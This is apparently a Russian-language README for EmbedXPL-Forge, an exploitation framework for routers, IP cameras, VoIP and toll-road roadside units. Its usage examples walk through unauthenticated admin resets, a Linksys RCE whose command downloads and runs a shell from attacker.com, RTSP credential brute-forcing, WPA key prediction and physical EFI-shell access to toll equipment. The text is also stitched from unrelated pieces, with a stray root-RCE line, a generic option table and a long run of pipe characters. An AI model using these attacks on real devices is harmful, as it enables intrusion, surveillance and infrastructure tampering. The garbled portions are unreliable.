[+] RCE via sys.exec: uid=0(root) gid=0(root)
| -s | Silent mode. Suppress all output except errors. |
| -v | Verbose mode. Show detailed progress information. |
| -o <file> | Write output to the specified file instead of stdout. |
| -f | Force overwrite of existing output files. |
| -n | Dry-run mode. Show what would be done without making changes. |
| -c <config> | Use the specified configuration file. |
| -t <timeout> | Set the timeout value in seconds. |
| -p <port> | Specify the target port number. |
| -r | Recursively process all subdirectories. |
| -q | Quiet mode. Only display final results. |
| -d | Enable debug output for troubleshooting. |
| -h | Display the help message and exit. |
Basic usage with default settings:
tool -t example.com
Scan a specific port range:
tool -t example.com -p 80,443,8080
Save results to a file:
tool -t example.com -o results.txt
Run in verbose mode with a custom timeout:
tool -t example.com -v -t 30
The tool reads its configuration from ~/.config/tool/config.yaml by default. An example configuration is shown below:
# Default configuration
timeout: 10
threads: 4
verbose: false
output_format: json
If you encounter issues, try the following steps:
ping or curl.-d flag to enable debug output.For additional help, open an issue on the project's GitHub repository.```bash
embedxpl use scanners/specialized/br_isp_scanner embedxpl (BRISPScan) > set target 192.168.0.0/24 embedxpl (BRISPScan) > run
**Примечания:** CVE-2026-34474 затрагивает ZTE ZXHN H298A 1.1 и H108N 2.6. Аутентификация не требуется.
**Правовая информация:** Используйте только на устройствах, которыми вы владеете или на тестирование которых у вас есть письменное разрешение.
---
### Модули бэкдоров и заводских паролей устаревших роутеров
Классические эксплойты бэкдоров и заводских паролей роутеров, реализованные в формате модулей EmbedXPL-Forge.
| Устройство | CVE / Ссылка | Путь модуля | Тип атаки |
|--------|----------------|-------------|-------------|
| Cobham Aviator 700 SATCOM | CVE-2014-2943 | `exploits/specialized/vsat/cobham_aviator_admin_reset_cve_2014_2943` | Сброс пароля администратора (без аутентификации) |
| Huawei HG8245H | - | `osint/keygen/huawei_hg8245_wpa_keygen` | Генератор ключей WPA по умолчанию |
| Alcatel-Lucent OmniPCX Enterprise | - | `exploits/voip/alcatel_lucent/omnipcx_enterprise_mastercgi_rce` | Неаутентифицированный RCE через masterCGI |
| Linksys E-Series (The Moon) | EDB-31683 | `exploits/routers/linksys/eseries_themoon_rce_tmunblock` | RCE через tmUnblock.cgi |
| NETGEAR DGN2200 | EDB-24665 | `exploits/routers/netgear/dgn2200_open_telnetd_rce` | Неаутентифицированный RCE через open-telnetd |
| Siemens FlexiISN | - | `exploits/routers/siemens/flexiisn_auth_bypass` | Обход аутентификации |
| Thomson BTHomeHub | - | `exploits/routers/thomson/bthomehub_voice_hijack` | Перехват конфигурации VoIP |
| AT&T 2Wire Gateway | - | `exploits/routers/two_wire/atandt_gateway_crlf_dos` | CRLF-инъекция / DoS |
**Примеры использования:**```bash
# Cobham Aviator admin reset (VSAT / Satellite terminal)
embedxpl use specialized/vsat/cobham_aviator_admin_reset_cve_2014_2943
embedxpl (CobhamReset) > set rhost 192.168.1.1
embedxpl (CobhamReset) > run
# Expected output:
[+] Connected to Cobham Aviator 700 interface
[+] Sending unauthenticated admin reset request
[!] VULNERABLE: Admin password reset to default
# Linksys eSeries The Moon RCE
embedxpl use routers/linksys/eseries_themoon_rce_tmunblock
embedxpl (TheMoon) > set rhost 192.168.1.1
embedxpl (TheMoon) > set cmd "busybox wget http://attacker.com/shell -O /tmp/sh && chmod +x /tmp/sh && /tmp/sh"
embedxpl (TheMoon) > run
# Huawei HG8245H WPA keygen
embedxpl use osint/keygen/huawei_hg8245_wpa_keygen
embedxpl (HuaweiKeygen) > set ssid "HG8245H-ABCDEF"
embedxpl (HuaweiKeygen) > run
# Output: [+] Predicted WPA key: xA7z3k9P
Примечания: Червь Moon (Linksys E-Series CVE) эксплуатирует tmUnblock.cgi без аутентификации на прошивке < 2.0.08. Правовая информация: Используйте только на устройствах, которыми вы владеете или на тестирование которых у вас есть письменное разрешение.
Чистая библиотека RTSP/1.0 клиента на Python (RFC 2326), используемая как основа для всех модулей атак на RTSP-камеры.
Модуль: network/rtsp/rtsp_client.py - класс RTSPClient
Возможности:
with RTSPClient(...) as client)Пример использования:```bash
python3 -c " from embedxpl.modules.network.rtsp.rtsp_client import RTSPClient with RTSPClient('192.168.1.10', 554, timeout=5) as client: resp = client.describe('/live/ch0') if resp.status_code == 200: sdp = client.parse_sdp(resp.body) print(f'Streams: {[s.media_type for s in sdp.streams]}') "
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |```bash
# RTSP credential brute force (uses RTSPClient internally)
embedxpl use network/rtsp/rtsp_cred_brute
embedxpl (RTSPBrute) > set rhost 192.168.1.10
embedxpl (RTSPBrute) > set rport 554
embedxpl (RTSPBrute) > set path /live/ch0
embedxpl (RTSPBrute) > run
# Expected output:
[+] Trying admin:admin ... 401 Unauthorized
[+] Trying admin:12345 ... 200 OK
[!] VALID: admin:12345
Требования: Python 3.8+, без внешних зависимостей.
OSINT-модуль, который запрашивает базу данных FCC Equipment Authorization для получения сведений об устройстве по кодам FCC ID, найденным на аппаратных этикетках.
Модуль: osint/fcc_id_lookup.py
Пример использования:```bash embedxpl use osint/fcc_id_lookup embedxpl (FCCLookup) > set fcc_id "PD5-WNR3500U" embedxpl (FCCLookup) > run
[+] FCC ID: PD5-WNR3500U Grantee: NETGEAR Inc. Product: WNR3500U Wireless-N Gigabit Router Frequency: 2.4GHz / 5GHz Authorization: OET-65C (mobile device) Test Lab: SGS Grant Date: 2009-11-18 Internal Photos: [URL] External Photos: [URL] Test Reports: [URL]
**Советы:**
- FCC ID напечатаны на этикетках устройств (формат: `GRANTEE_CODE-PRODUCT_CODE`)
- Используйте для идентификации OEM-оборудования, базы прошивки или цепочки поставок
- Комбинируйте с `osint/github_recon` для поиска публичных репозиториев прошивок для устройства
**Требования:** Доступ в интернет, библиотека `requests`.
---
### Генератор URL камер
Генерирует известные URL потоков камер на основе вендора, модели и версии прошивки, используя формат базы данных камер iSpy.
**Модуль:** `osint/camera_url_generator.py`
**Пример использования:**```bash
embedxpl use osint/camera_url_generator
embedxpl (CameraURL) > set vendor "hikvision"
embedxpl (CameraURL) > set model "DS-2CD2143G2"
embedxpl (CameraURL) > run
# Expected output:
[+] Known stream URLs for Hikvision DS-2CD2143G2:
[1] rtsp://<ip>:554/Streaming/Channels/101
[2] rtsp://<ip>:554/Streaming/Channels/102
[3] rtsp://<ip>:554/h264/ch1/main/av_stream
[4] http://<ip>/ISAPI/Streaming/channels/1/picture
[5] http://<ip>/onvif/device_service
# Generate wordlist for RTSP brute force
embedxpl (CameraURL) > set output_file /tmp/hikvision_routes.txt
embedxpl (CameraURL) > run
Советы:
network/rtsp/rtsp_route_brute для перечисления активных потоковset all_vendors true для вывода всех известных URL-адресовМодули, нацеленные на инфраструктуру контроля дорожного движения (RSU пунктов взимания платы, радиолокационные системы, камеры ANPR).
Модуль: exploits/specialized/traffic_enforcement/kapsch_rsu_efi_shell_cve_2025_25734
Уязвимость: Дорожные блоки (RSU) Kapsch, используемые в системах электронного взимания платы, не обеспечивают принудительное применение UEFI Secure Boot и защиту паролем BIOS, что позволяет физическому злоумышленнику войти в интерактивную оболочку EFI и получить доступ ко всей файловой системе.
Воздействие: Извлечение конфигурации, кража закрытого ключа TLS, установка импланта, обход взимания платы.
Пример использования:```bash
embedxpl use specialized/traffic_enforcement/kapsch_rsu_efi_shell_cve_2025_25734 embedxpl (KapschRSU) > set rhost 10.0.0.50 embedxpl (KapschRSU) > check
[+] Kapsch RSU management interface detected on 10.0.0.50:80 [!] Banner indicator: 'TrafficCom RSU' found [*] NOTE: Full exploitation requires physical on-site access
embedxpl (KapschRSU) > run
**Шаги физической эксплуатации:**
1. Откройте корпус RSU (винты с защитой от вскрытия)
2. Подключите USB-клавиатуру и монитор к материнской плате RSU
3. Выполните цикл питания — нажмите ESC/DEL/F2 во время POST
4. Перейдите: Boot Manager -> EFI Internal Shell
5. Получите доступ к файловой системе: `fs0:\efi\config\` для извлечения конфигурации
**Требования:** Физический доступ к оборудованию RSU (монитор + USB-клавиатура) или сетевой доступ к интерфейсу управления для обнаружения баннера.
**Правовые аспекты:** Несанкционированный доступ к инфраструктуре взимания платы за проезд является уголовным преступлением. Используйте только на устройствах, которыми вы владеете, или имеете явное письменное разрешение на оценку.
---
## Архитектура фреймворка (v3.1.0)
### Архитектура компонентов
Полное многоуровневое представление фреймворка: слой CLI, ядро (оркестратор, клиенты протоколов, оболочки), слой аналитики (ML, OUI, база данных CVE), контроль качества и арсенал из 2800+ модулей, организованных по категориям.
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/56270/63129f66ef4361f16ede4ec2b9379e2efba3843685ddb18c40d8302c0c27d00a/38190b67586381886a6b4fadd441bed66ae0b3a5fe573e650bcb67a032096d54-display-v1.webp" width="960" alt="EmbedXPL-Forge Component Architecture v3.1.0"/>
</p>
### Поток аудита и эксплуатации
Сквозной поток данных от ввода цели через обнаружение, фингерпринтинг, выбор модулей, эксплуатацию и отчётность.
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/56270/266a4c0b8889e9cd6cdbad9450d3b173190d0bb1f615807ff2d040544cbba45b/774107c9888c0d2a25fbb913c73c6ed3c4a4a43da2782c6bb400a2b1b2421fb6-display-v1.webp" width="960" alt="EmbedXPL-Forge Exploitation Flow v3.1.0"/>
</p>
## Архитектура и карты поверхности атак
Карты поверхности атак, показывающие покрытие модулями по каждому вектору доступа, в стиле операционных схем безопасности.
Исходные файлы в [`docs/diagrams/architecture/`](https://github.com/mrhenrike/embedxpl-forge/blob/master/docs/diagrams/architecture).
### Обзор архитектуры модулей
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/56270/77e312b38d78c27f7d1de0276c6f304f343f323b2d0f951c2f9a2a5362c3e54c/add82fa1cc0dc85f3f6b414270fdc3e457d72b05d31ec9013ae5a08f8427cf52-display-v1.webp" width="900" alt="EmbedXPL-Forge Architecture Overview"/>
</p>
### Цепочки атак APT-групп
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/56270/e1ab0771072292d7cfd319a886323c1ee5630374de9b7aa88652badb233f10db/540b3fc97ec030a32c27f896ee3e03fa11e349dd9ba8fdc10905618932d9e9ce-display-v1.webp" width="900" alt="APT Group Attack Chains"/>
</p>
### Поверхность атак SOHO-роутеров
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/56270/5254908f6c1a366a0fb268b89fe1c3260a2d67d2fad0e3380b9d846af5e245ca/e15dbde66c8adc6a223f2ef570c2b202a8cd58b5f69f924399be4a32debf3511-display-v1.webp" width="900" alt="SOHO Router Attack Surface"/>
</p>
### Поверхность атак TP-Link (кампания APT28/GRU)
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/56270/93f5be2a074ef3b827832e532658e6ea0ada911f9ed0433a4986355ca34e11bf/436ac5ee2ad503629993f8cb04ca563f0d36b2409664abc74705aee9b5d8dbaa-display-v1.webp" width="900" alt="TP-Link APT28 Attack Surface"/>
</p>
### Поверхность атак MikroTik RouterOS
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/56270/b36a43e11581966fcf539289c66b6694ab23910a52a9c0ed031f18402d366bc4/910bb2d9cd7b55834ebfb6dfd6b02121f3242bf8140435afb2ab28fc196b1faf-display-v1.webp" width="900" alt="MikroTik Attack Surface"/>
</p>
### Поверхность атак GPON ONT (Huawei EG8145)
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/56270/31f8afeec116e1cfea33753c26b01905351cc1c2a03bc46175f155dbe5e06dfe/34dc8af47fd53c639ed089f6797407be884617726c885c5faad96e7a22b6a078-display-v1.webp" width="900" alt="GPON ONT Attack Surface"/>
</p>
## Требования
- Python 3.8+
- Опционально: `nmap` (бинарный) для расширенного сетевого обнаружения и NSE-скриптов
- Опционально: `masscan` для высокоскоростного обнаружения RTSP
- Опционально: `gcc`/`clang` для компиляции C/C++ рантайма PolyExploit
- Опционально: `msfconsole` для интеграции с Metasploit через PolyRunner
**Зависимости Python (устанавливаются автоматически):**
`requests`, `paramiko`, `pysnmp`, `pycryptodome`, `scapy`, `colorama`, `rich`, `python-nmap`, `aiohttp`
**Дополнения NSE (`pip install "embedxpl[nse]"`):**
`python-nmap` (уже включён в ядро)
Полный список: [`requirements.txt`](https://github.com/mrhenrike/embedxpl-forge/blob/master/requirements.txt)
## Правовая оговорка
EmbedXPL-Forge предназначен только для авторизованного тестирования безопасности и исследований. Используйте этот инструмент исключительно на системах, которыми вы владеете, или имеете явное письменное разрешение на тестирование. Несанкционированный доступ к компьютерным системам незаконен. Авторы не несут ответственности за неправомерное использование.
## Лицензия
BSD License — подробности см. в [LICENSE](https://github.com/mrhenrike/embedxpl-forge/blob/master/LICENSE).
---
## Контакты
**Поддержка / общие вопросы:** [email protected]
**Проблемы безопасности:** [SECURITY.md](https://github.com/mrhenrike/embedxpl-forge/blob/master/SECURITY.md)
---
### André Henrique
| | |
|---|---|
| GitHub | [@mrhenrike](https://github.com/mrhenrike) |
| X / Twitter | [@mrhenrike](https://x.com/mrhenrike) |
| LinkedIn | [mrhenrike](https://www.linkedin.com/in/mrhenrike/) |
### União Geek
| | |
|---|---|
| Website | [uniaogeek.com.br](https://uniaogeek.com.br/) |
| Blog | [uniaogeek.com.br/blog](https://uniaogeek.com.br/blog/) |
| GitHub | [Uniao-Geek](https://github.com/Uniao-Geek) |
| Instagram | [@uniaogeek](https://www.instagram.com/uniaogeek/) |
---
**License:** BSD-3-Clause License - Copyright (c) 2026 União Geek
**Created by:** André Henrique ([@mrhenrike](https://github.com/mrhenrike)) | [União Geek](https://uniaogeek.com.br/)
